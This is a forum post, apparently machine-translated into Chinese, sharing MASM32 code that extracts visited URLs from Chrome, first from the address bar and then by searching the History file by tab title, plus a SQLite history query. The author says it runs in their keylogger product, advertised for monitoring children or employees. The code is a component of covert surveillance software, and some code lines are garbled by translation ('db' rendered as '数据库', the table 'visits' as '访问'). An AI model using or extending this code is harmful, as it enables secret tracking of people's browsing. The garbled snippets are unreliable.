此 MASM32 代码用于在早期版本的 chrome 上工作:
**EnumChildChrome** PROC hwndChild:DWORD,lParam:DWORD
LOCAL lpClassUrl[64] :BYTE
invoke RtlZeroMemory,addr lpClassUrl, 64
invoke GetClassName, hwndChild, addr lpClassUrl, 64
; Get URL from AddressBar class Chrome_AutocompleteEditView.
; Get URL from AddressBar class Chrome_OmniboxView.
; Get URL from AddressBar class Chrome_WidgetWin_1.
.IF (dword ptr [lpClassUrl+7]=='otuA') || (dword ptr [lpClassUrl+7]=='inmO') || (dword ptr [lpClassUrl+7]=='gdiW')
invoke RtlZeroMemory,wText, BUFSIZE
invoke SendMessage, hwndChild, WM_GETTEXT, BUFSIZE, wText
invoke WriteToMem,3,addr startURL,wText,addr endURL
.ENDIF
mov eax,hwndChild
ret
EnumChildChrome ENDP
但是,为了从最新版本的 chrome 中捕获 URL,我在下面编写了这个被黑的版本。(可以很容易地移植到 C、VB 等,...)它本质上使用 Chrome 选项卡标题 (WinText) 作为历史文件中的搜索键。此外,Chrome 似乎会延迟 URL 写入,因此这是一个需要克服的障碍。目前,我通过历史记录进行了几次传递,例如 5 秒,如果没有找到则中止。:(
...
googlePath db "%USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\History",0
GoogleChrome db " - Google Chrome",0
...
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov googleHistory,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, MAXSIZE
mov WinText,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov winTitle,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov wwinTitle,eax
invoke HeapAlloc, hHeap, HEAP_ZERO_MEMORY, BUFSIZE
mov uwinTitle,eax
...
; --- Find Google History file path ---
invoke RtlZeroMemory,googleHistory,BUFSIZE
invoke ExpandEnvironmentStrings, addr googlePath, googleHistory, BUFSIZE
...
Chrome PROC
LOCAL found_url_ok :DWORD
mov found_url_ok,FALSE
invoke readdiskfile,googleHistory,addr lpMem,addr lpLen
.IF (eax==0)
ret
.ENDIF
invoke RtlZeroMemory,winTitle, BUFSIZE
invoke RtlZeroMemory,wwinTitle, BUFSIZE
invoke RtlZeroMemory,uwinTitle, BUFSIZE
;; Chrome History Titles are stored in UTF8 format. Example: Polítiques i principis -----> Pol,0C3h,0ADh,tiques i principis
invoke szRemove,WinText,winTitle,addr GoogleChrome
invoke CharToUTF8,winTitle,wwinTitle,uwinTitle
invoke lstrlen,uwinTitle
invoke BinSearch,0,lpMem,lpLen,uwinTitle,eax
; --- Search backwards looking for a begin url marker 01h ...
.IF (eax!=-1)
mov ecx,eax
add eax,lpMem
mov byte ptr[eax],0 ; end of url
find_url_start:
cmp byte ptr[eax-1],01h
je start_url
dec eax
loop find_url_start
jecxz no_url_found
start_url:
invoke WriteToMem,3,addr startURL,eax,addr endURL
mov found_url_ok,TRUE
no_url_found:
.ENDIF
invoke GlobalFree,lpMem
mov eax,found_url_ok
ret
Chrome ENDP
CharToUTF8 proc pAsciiString:DWORD,pWideOutbuf:DWORD,pUTF8Outbuf:DWORD
invoke lstrlen,pAsciiString
invoke MultiByteToWideChar,CP_ACP,0,pAsciiString,-1,pWideOutbuf,eax
invoke WideCharToMultiByte,CP_UTF8,0,pWideOutbuf,-1,pUTF8Outbuf,BUFSIZE,NULL,NULL
ret
CharToUTF8 endp
我不是这种方法的真正粉丝,但这是我今天所能想到的。我想到了其他几个想法:
查询 Chrome 进程内存并提取 URL 可能是更好的方法。
使用 sqlite3 api 解析历史。
szSQLite3Lib 数据库“sqlite3.dll”,0h
szfnSQLite3_close db "sqlite3_close", 0h
szfnSQLite3_column_text db "sqlite3_column_text", 0h
szfnSQLite3_exec db "sqlite3_exec", 0h
szfnSQLite3_open db "sqlite3_open_v2", 0h
szfnSQLite3_prepare db "sqlite3_prepare", 0h
szfnSQLite3_step db "sqlite3_step", 0h
szSQLStmt5 db "SELECT datetime(((visits.visit_time/1000000)-11644473600), ",34,"unixepoch",34,"), urls.url, urls.title FROM urls, 访问 WHERE urls.id = visit.url ;",0
如果您发现了一个不错的方法,请在此处发布您的发现。谢谢!
上面的代码用于我的键盘记录网站:
MyKeylogger.com - 用于监控儿童或员工并在线观看的网络监控软件!